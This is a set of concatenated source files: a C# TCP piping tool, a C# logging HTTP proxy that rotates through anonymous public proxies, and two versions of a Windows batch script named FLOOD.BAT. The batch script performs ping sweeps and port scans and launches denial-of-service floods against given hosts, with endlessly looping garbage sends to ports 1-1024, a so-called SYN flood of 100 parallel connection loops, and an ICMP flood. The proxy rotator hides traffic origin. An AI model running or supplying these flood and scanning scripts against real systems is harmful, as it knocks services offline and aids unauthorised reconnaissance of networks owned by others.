@echo off

if "%1" == "" goto Usage

echo Starting proxy on address 127.0.0.1 port %1
echo THIS IS DRAFT: non-finished code

pipesend --listen %1 127.0.0.1 | pipesend --noeof %2 %3 | pipesend --noeof 127.0.0.1 %1

goto ExitMe

:Usage

echo USAGE: logproxy listen_port real_http_proxy preal_proxy_port
echo Set browser proxy to 127.0.0.1:listenport and drive browser to http://yoursite.com

:ExitMe

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.Net.NetworkInformation;
using System.IO;
using System.Threading;

namespace pipesend
{
    class Program
    {
        const int RWTIMEOUTMS = 300, CONNECTTIMEOUTMS = 300, MAXCLIENTS = 25;

        static bool done = false;
        static int port = 8888;
        static int argsshift = 0;
        static bool NOEOF = false;

        static Semaphore _bind_socket = new Semaphore(0, 1);
        static Semaphore _data_socket = new Semaphore(0, 1);
        static Socket BindSocket = null;
        static Socket data = null;

        static void Main(string[] args)
        {
            if (args.Length < 2 || args[0].Equals("-h") || args[0].Equals("--help"))
            {
                Console.WriteLine("pipesend: send a file to remote tcp port or run a chat-server, version 1.3");
                Console.WriteLine("USAGE: pipesend [--noeof] host_or_ip port <file.dat");
                Console.WriteLine("EXAMPLE: echo AA|pipesend 192.168.1.1 80");
                Console.WriteLine("USAGE: pipesend --listen port local_ip1 [local_ip2 local_ip3...]");
                Console.WriteLine("EXAMPLE: pipesend --listen 8888 127.0.0.1");
                Console.WriteLine("--noeof  ignore EOF when input is redirected to file and continue wait data");
                return;
            }

            if (args[0].Equals("--noeof")) { NOEOF = true; argsshift = 1; }

            try { port = Int32.Parse(args[1+argsshift]); } catch { }

            if (args[0].Equals("--listen"))
            {
                List<Task> list = new List<Task>();                    

                for (int i = 2; i < args.Length; i++)
                    try
                    {                        
                        IPAddress addr = Dns.GetHostAddresses(args[i])[0];
                        BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        BindSocket.Bind(new IPEndPoint(addr, port));
                        BindSocket.Listen(1000);                        
                        list.Add(Task.Run(Accepter));
                        _bind_socket.WaitOne();
                    }
                    catch { }

                Task.WaitAll(list.ToArray<Task>());
            }
            else
                try
                {
                    IPAddress ip = Dns.GetHostAddresses(args[0+argsshift])[0];

                    Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    sok.ReceiveTimeout = RWTIMEOUTMS;
                    sok.SendTimeout = RWTIMEOUTMS;

                    IAsyncResult result = sok.BeginConnect(ip, port, null, null);

                    bool success = result.AsyncWaitHandle.WaitOne(CONNECTTIMEOUTMS, true);

                    if (sok.Connected)
                    {
                        Stream fs = Console.OpenStandardInput();
                        Stream os = Console.OpenStandardOutput();

                        while (true)
                        {
                            byte[] buf;

                            int r = 0;

                            if (!Console.IsInputRedirected)
                            {
                    buf = new byte[1];
                    if (Console.KeyAvailable) r = fs.Read(buf, 0, buf.Length);
                            }
                            else
                            {
                    buf = new byte[8192];
                    try { r = fs.Read(buf, 0, buf.Length); } catch { }
                            }
                            if (r > 0)
                            {
                    byte[] sbuf = new byte[r];

                    for (int i = 0; i < r; i++) sbuf[i] = buf[i];

                    sok.Send(sbuf);

                    if (!Console.IsInputRedirected) continue;
                            }
                            else if (Console.IsInputRedirected && !NOEOF) break;

                            try
                            {
                    byte[] rbuf = new byte[8192];

                    int a = 0;

                    if (sok.Available > 0) a = sok.Receive(rbuf);
                    if (a > 0) try { os.Write(rbuf, 0, a); os.Flush(); } catch { }
                            }
                            catch { }
                        }
                        
                        done = true;
                        try { fs.Close(); } catch { }
                        try { os.Close(); } catch { }

                    }
                    else Console.WriteLine("can't connect "+ip);
                    try { sok.Shutdown(SocketShutdown.Both); } catch { }
                    try { sok.Close(); } catch { }

                }
                catch { }

                if (done) Console.WriteLine("ok");
                else Console.WriteLine("error");
        }

        static async Task Accepter()
        {
            Socket bind = BindSocket;
            _bind_socket.Release();

            bind.ReceiveTimeout = CONNECTTIMEOUTMS;
            bind.SendTimeout = CONNECTTIMEOUTMS;

            while (true)
                try
                {
                    data = null;
                    try { data = bind.Accept(); } catch { }
                    if (data == null) continue;
                    bool overflow = false;
                    lock (clients_lock) { if (clients.Count >= MAXCLIENTS) overflow = true; }
                    if (overflow)
                    {
                        try { data.Shutdown(SocketShutdown.Both); } catch { }
                        try { data.Close(); } catch { }
                        continue;
                    }
                    data.ReceiveTimeout = RWTIMEOUTMS;
                    data.SendTimeout = RWTIMEOUTMS;

                    Task.Run(SocketReader);
                    _data_socket.WaitOne();
                }
                catch { }
        }

        static List<Socket> clients = new List<Socket>();

        static object clients_lock = new object();

        static async Task SocketReader()
        {            
            Socket DataSocket = data;
            _data_socket.Release();

            try
            {
                Stream fs = Console.OpenStandardOutput();

                lock (clients_lock) clients.Add(DataSocket);

                byte[] buf = new byte[8192];

                do
                {
                    int r = 0;

                    if (DataSocket.Available > 0) r = DataSocket.Receive(buf);

                    if (r < 0) break;
                    else
                    {
                        byte[] sbuf = new byte[r];

                        for (int i = 0; i < r; i++) sbuf[i] = buf[i];

                        try
                        {
                            fs.Write(buf, 0, r);
                            fs.Flush();
                        }
                        catch { }

                        lock (clients_lock)
                        {
                            for (int i = 0; i < clients.Count; i++)
                    if (clients[i] != DataSocket)
                    try { clients[i].Send(sbuf); } catch { }
                        }
                    }
                } while (true);

                fs.Close();
            }
            catch { }

            try { DataSocket.Shutdown(SocketShutdown.Both); } catch { }
            try { DataSocket.Close(); } catch { }
            
            lock(clients_lock) {
                for (int i = 0; i < clients.Count; i++) if (clients[i] == DataSocket)
                    { clients.RemoveAt(i); break; }
            }            
        }
    }
}

@echo off

if "%1" == "--ping" goto Ping
if "%1" == "--ping2" goto Ping2
if "%1" == "--scan" goto Scan
if "%1" == "--scanall" goto Scanall
if "%1" == "--crashport" goto Crashport
if "%1" == "--crashall" goto Crashall

echo FLOOD.BAT: flood host with generator's garbage to ports 1-1024 or a given port
echo USAGE:
echo flood --ping 192.168.1                   find hosts on local net and shows their names and IP addresses
echo flood --ping2 192.168                    find hosts on local net level 2 and shows their names and IP addresses
echo flood --scan host                        scan open root tcp ports on given host
echo flood --scanall host                     scan all open tcp ports on given host
echo flood --crashport phrase.exe 80 host1... host6     flood port 80 on set of hosts with fuzzer phrase.exe
echo flood --crashall phrase.exe host1... host6         flood ports 1-1024 with phrase.exe generator
goto exit_me

:Crashport

if not "%4" == "" call :Sendphrase %2 %4 %3
if not "%5" == "" call :Sendphrase %2 %5 %3
if not "%6" == "" call :Sendphrase %2 %6 %3
if not "%7" == "" call :Sendphrase %2 %7 %3
if not "%8" == "" call :Sendphrase %2 %8 %3
if not "%9" == "" call :Sendphrase %2 %9 %3

goto Crashport

:Crashall

for /L %%P in (1, 1, 1024) do (

if not "%3" == "" call :Sendphrase %2 %3 %%P
if not "%4" == "" call :Sendphrase %2 %4 %%P
if not "%5" == "" call :Sendphrase %2 %5 %%P
if not "%6" == "" call :Sendphrase %2 %6 %%P
if not "%7" == "" call :Sendphrase %2 %7 %%P
if not "%8" == "" call :Sendphrase %2 %8 %%P
if not "%9" == "" call :Sendphrase %2 %9 %%P
)
goto Crashall

:Ping
for /L %%Q in (0, 1, 255) do (
    ping -n 1 -w 20 %2.%%Q | find "TTL" >_1_%2%%Q
    if not errorlevel 1 nslookup %2.%%Q
    del _1_%2%%Q
)
goto exit_me

:Ping2
for /L %%Q in (0, 1, 255) do (
    for /L %%R in (0, 1, 255) do (
  ping -n 1 -w 20 %2.%%Q.%%R | find "TTL" >_1_%2.%%Q%%R
  if not errorlevel 1 nslookup %2.%%Q.%%R
  del _1_%2.%%Q%%R
    )
)
goto exit_me

:Scan
for /L %%Q in (1, 1, 1024) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2%%Q
)
goto exit_me

:Scanall
for /L %%Q in (1, 1, 65535) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2.%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2.%%Q
)
goto exit_me

:Sendphrase
echo Crash %2 %3 unicode
for /l %%m in (1, 1, 23) do start /b %1|pipesend %2 %3
echo Crash %2 %3 ascii
for /l %%m in (1, 1, 23) do start /b %1 -a|pipesend %2 %3
timeout /t 3
exit /b
  
:exit_me

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace logproxy
{
    class Program
    {
        static int listen_port = 8888;
        static Log log = null;

        static Semaphore _bind_socket = new Semaphore(0, 1);
        static Semaphore _data_socket = new Semaphore(0, 1);
        static Socket BindSocket = null;
        static Socket data = null;
        static int clients = 0;

        const int MAXCLIENTS = 512;

        static void Main(string[] args)
        {
            if (args.Length == 0 || args[0].Equals("-h") || args[0].Equals("--help"))
            {
                Console.WriteLine("HTTP proxy rotator and logger for the protocol analyses, v1.0");
                Console.WriteLine("USAGE: logproxy file.txt listen_port bind_ip1 bind_ip2...");
                return;
            }

            try { listen_port = Int32.Parse(args[1]); } catch { }

            log = new Log(args[0]);

            List<Task> list = new List<Task>();

            for (int i = 2; i < args.Length; i++)
                try
                {
                    IPAddress addr = Dns.GetHostAddresses(args[i])[0];
                    BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    BindSocket.Bind(new IPEndPoint(addr, listen_port));
                    BindSocket.Listen(1000);
                    list.Add(Task.Run(Accepter));
                    _bind_socket.WaitOne();
                }
                catch { }

            Task.WaitAll(list.ToArray<Task>());
            log.Close();
        }

        static async Task Accepter()
        {
            Socket bind = BindSocket;
            _bind_socket.Release();

            bind.ReceiveTimeout = Browser.RWTIMEOUTMS;
            bind.SendTimeout = Browser.RWTIMEOUTMS;

            while (true)
                try
                {
                    data = null;
                    try { data = bind.Accept(); } catch { }
                    if (data == null) continue;
                    if (clients++ >= MAXCLIENTS)
                    {
                        try { data.Shutdown(SocketShutdown.Both); } catch { }
                        try { data.Close(); } catch { }
                        clients--;
                        continue;
                    }

                    Console.WriteLine("accepted new connection!");

                    Task.Run(SocketReader);
                    _data_socket.WaitOne();
                }
                catch { }
        }
        static async Task SocketReader()
        {
            Socket DataSocket = data;
            _data_socket.Release();

            Browser browser = new Browser(DataSocket);
            Proxy proxy = new Proxy();

            proxy.Connect();

            byte[] buf = new byte[8192];

            int r = 0;

            do
            {
                do
                {
                    r = browser.Receive(buf);

                    if (r > 0)
                    {
                        Console.WriteLine("received " + r + " bytes from browser");
                        log.Write(Buffer.Cut(buf, r), "browser asks");
                    }

                    if (proxy.Send(Buffer.Cut(buf, r)) < 1 && r > 0) goto ProxyFail;

                } while (r > 0);

                do
                {
                    r = proxy.Receive(buf);

                    if (r > 0)
                    {
                        Console.WriteLine("received " + r + " bytes from proxy");
                        log.Write(Buffer.Cut(buf, r), "site answers");
                    }

                    if (browser.Send(Buffer.Cut(buf, r)) < 1 && r > 0) goto BrowserFail;

                } while (r > 0);

            } while (true);

        ProxyFail:
        BrowserFail:

            browser.Close();
            proxy.Close();            

            clients--;
        }
    }
}

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;

namespace logproxy
{
    internal class Browser
    {
        internal static int RWTIMEOUTMS = 300;

        protected Socket sok = null;
        internal Browser(Socket data)
        {
            sok = data;
        }

        internal int Receive(byte[] buffer)
        {
            try
            {
                sok.ReceiveTimeout = RWTIMEOUTMS;

                return sok.Receive(buffer);

            } catch { return 0; }
        }

        internal int Send(byte[] buffer)
        {
            try
            {
                sok.SendTimeout = RWTIMEOUTMS;

                return sok.Send(buffer);

            } catch { return 0; }
        }

        internal void Close()
        {
            try { sok.Shutdown(SocketShutdown.Both); } catch { }
            try { sok.Close(); } catch { }
        }
    }
}

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.IO;

namespace logproxy
{
    internal class Proxy
    {
        static int RWTIMEOUTMS = 300;
        static int CONNECTTIMEOUTMS = 400;

        protected Socket sok = null;
        internal Proxy()
        {
            ProxyList = GetList();
        }
        internal int Send(byte[] buffer)
        {
            try
            {
                if (sok == null) sok = Connect(GetNextGoodProxy());

                if (sok == null) return 0;

                sok.SendTimeout = RWTIMEOUTMS;

                return sok.Send(buffer);
            }
            catch { return 0; }
        }

        internal int Receive(byte[] buffer)
        {
            try
            {
                if (sok == null) sok = Connect(GetNextGoodProxy());

                if (sok == null) return 0;

                sok.ReceiveTimeout = RWTIMEOUTMS;

                return sok.Receive(buffer);
            }
            catch { return 0; }
        }

        internal bool Connect()
        {
            try
            {
                sok = Connect(GetNextGoodProxy());

                if (sok != null) return true;
            }
            catch { }

            return false;
        }

        internal void Close()
        {
            try { sok.Shutdown(SocketShutdown.Both); } catch { }
            try { sok.Close(); } catch { }
            sok = null;
        }

        protected Socket Connect(string proxy)
        {
            try
            {
                string host = proxy.Replace("http://", "").Replace("https://", "").Split(':')[0];
                int port = Int32.Parse(proxy.Replace("http://", "").Replace("https://", "").Split(':')[1]);

                IPAddress ip = Dns.GetHostAddresses(host)[0];

                Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                sok.ReceiveTimeout = RWTIMEOUTMS;
                sok.SendTimeout = RWTIMEOUTMS;

                IAsyncResult result = sok.BeginConnect(ip, port, null, null);

                bool success = result.AsyncWaitHandle.WaitOne(CONNECTTIMEOUTMS, true);

                if (sok.Connected) return sok;

                try { sok.Shutdown(SocketShutdown.Both); } catch { }
                try { sok.Close(); } catch { }

            }
            catch { }

            return null;
        }

        static string last_good_proxy = "";
        static DateTime last_check_time = DateTime.Now;
        static object last_lock = new object();
        protected string GetNextGoodProxy(int maxtry = 50)
        {
            try
            {
                for (int i = 0; i < maxtry; i++)
                {
                    if (LastProxy.Length > 0) return LastProxy;

                    string proxy = GetNext;

                    Console.WriteLine("checking proxy " + proxy + "...");

                    if (CheckProxy(proxy, "http://www.microsoft.com")
                        && CheckProxy(proxy, "https://www.microsoft.com")
                        )
                    {
                        LastProxy = proxy;
                        return proxy;
                    }
                }
            }
            catch { }

            Console.WriteLine("error: no good proxy found");
            return "";
        }

        protected string LastProxy
        {
            get
            {
                lock (last_lock)
                {
                    if (DateTime.Now.Subtract(last_check_time).TotalMinutes <= 2
                        && last_good_proxy.Length > 0) return last_good_proxy;
                    else return "";
                }
            }
            set
            {
                lock (last_lock)
                {
                    last_good_proxy = value;
                    last_check_time = DateTime.Now;
                }
            }
        }

        protected bool CheckProxy(string proxy, string testurl = "http://www.microsoft.com")
        {
            try
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(testurl);

                request.Timeout = 5000;
                request.Proxy = new WebProxy(proxy);

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                string ResponseString = new StreamReader(response.GetResponseStream()).ReadToEnd();

                if (ResponseString.Length > 1024) return true;
            }
            catch { }

            return false;
        }

        protected List<string> ProxyList = new List<string>();
        protected int ListIndex = 0;

        public string GetNext
        {
            get
            {
                try
                {
                    if (ListIndex >= ProxyList.Count)
                    {
                        ProxyList = GetList();
                        ListIndex = 0;
                    }
                    string proxy = ProxyList[ListIndex++];

                    return proxy;

                }
                catch { return ""; }
            }
        }

        internal List<string> GetList()
        {
            try
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all");

                request.Timeout = 5000;
                request.Proxy = null;

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                string ResponseString = new StreamReader(response.GetResponseStream()).ReadToEnd();

                string[] ar = ResponseString.Split('\n');

                List<string> res = new List<string>();

                foreach (string l in ar)
                    if (l.Trim('\r', '\n', '\t', ' ').Length > 0)
                        res.Add("http://" + l.Trim('\r', '\n', '\t', ' '));

                return res;
            }
            catch { return new List<string>(); }
        }

    }
}

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;

namespace logproxy
{
    internal class Log
    {
        string filename = "log.txt";
        FileStream fs = null;
        object fs_lock = new object();
        internal Log(string filename, bool overrite = false)
        {
            try
            {
                this.filename = filename;
                if (overrite) File.WriteAllText(filename, "");

                fs = new FileStream(filename, FileMode.OpenOrCreate);
            }
            catch { }
        }

        internal void Close() { try { fs.Close(); } catch { } }

        internal bool Write (byte[] data, string Comment)
        {
            lock (fs_lock)
                try
                {
                    byte[] b = Encoding.ASCII.GetBytes("\r\n\r\n\r\n[ " + DateTime.Now+": " + Comment + " ]\r\n");
                    fs.Write(b, 0, b.Length);
                    fs.Write(data, 0, data.Length);
                    return true;
                } catch { return false; }
        }
    }
}

@echo off

if "%1" == "--ping" goto Ping
if "%1" == "--ping2" goto Ping2
if "%1" == "--scan" goto Scan
if "%1" == "--scanall" goto Scanall
if "%1" == "--crashport" goto Crashport
if "%1" == "--crashall" goto Crashall
if "%1" == "--power" goto Power
if "%1" == "--syn" goto Syn
if "%1" == "--syncrash" goto Syncrash
if "%1" == "--icmp" goto Icmp

echo FLOOD.BAT: flood host with generator's garbage to ports 1-1024 or a given port
echo USAGE:
echo flood --ping 192.168.1                   find hosts on local net and shows their names and IP addresses
echo flood --ping2 192.168                    find hosts on local net level 2 and shows their names and IP addresses
echo flood --scan host                        scan open root tcp ports on given host
echo flood --scanall host                     scan all open tcp ports on given host
echo flood --crashport phrase.exe 80 host1... host6     flood port 80 on set of hosts with fuzzer phrase.exe
echo flood --crashall phrase.exe host1... host6         flood ports 1-1024 with phrase.exe generator
echo flood --power host port                  run power attack to host:port with 3 crashing port windows
echo flood --syn host port                    run synflood attack to host:port with 100 crashing united windows
echo flood --icmp host                        run icmpflood attack to host with 100 crashing united windows
goto exit_me

:Power
for %%n in (1, 1, 3) do start /B flood.bat --crashport phrase.exe %3 %2
goto exit_me

:Syn
for %%n in (1, 1, 100) do start /B flood.bat --syncrash %2 %3
goto exit_me

:Syncrash
echo A|pipesend %2 %3
goto Syncrash

:Icmp
for %%n in (1, 1, 100) do start /B ping -t %2
goto exit_me

:Crashport

if not "%4" == "" call :Sendphrase %2 %4 %3
if not "%5" == "" call :Sendphrase %2 %5 %3
if not "%6" == "" call :Sendphrase %2 %6 %3
if not "%7" == "" call :Sendphrase %2 %7 %3
if not "%8" == "" call :Sendphrase %2 %8 %3
if not "%9" == "" call :Sendphrase %2 %9 %3

goto Crashport

:Crashall

for /L %%P in (1, 1, 1024) do (

if not "%3" == "" call :Sendphrase %2 %3 %%P
if not "%4" == "" call :Sendphrase %2 %4 %%P
if not "%5" == "" call :Sendphrase %2 %5 %%P
if not "%6" == "" call :Sendphrase %2 %6 %%P
if not "%7" == "" call :Sendphrase %2 %7 %%P
if not "%8" == "" call :Sendphrase %2 %8 %%P
if not "%9" == "" call :Sendphrase %2 %9 %%P
)
goto Crashall

:Ping
for /L %%Q in (0, 1, 255) do (
    ping -n 1 -w 20 %2.%%Q | find "TTL" >_1_%2%%Q
    if not errorlevel 1 nslookup %2.%%Q
    del _1_%2%%Q
)
goto exit_me

:Ping2
for /L %%Q in (0, 1, 255) do (
    for /L %%R in (0, 1, 255) do (
  ping -n 1 -w 20 %2.%%Q.%%R | find "TTL" >_1_%2.%%Q%%R
  if not errorlevel 1 nslookup %2.%%Q.%%R
  del _1_%2.%%Q%%R
    )
)
goto exit_me

:Scan
for /L %%Q in (1, 1, 1024) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2%%Q
)
goto exit_me

:Scanall
for /L %%Q in (1, 1, 65535) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2.%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2.%%Q
)
goto exit_me

:Sendphrase
echo Crash %2 %3 unicode
for /l %%m in (1, 1, 23) do start /b %1|pipesend %2 %3
echo Crash %2 %3 ascii
for /l %%m in (1, 1, 23) do start /b %1 -a|pipesend %2 %3
timeout /t 3
exit /b
  
:exit_me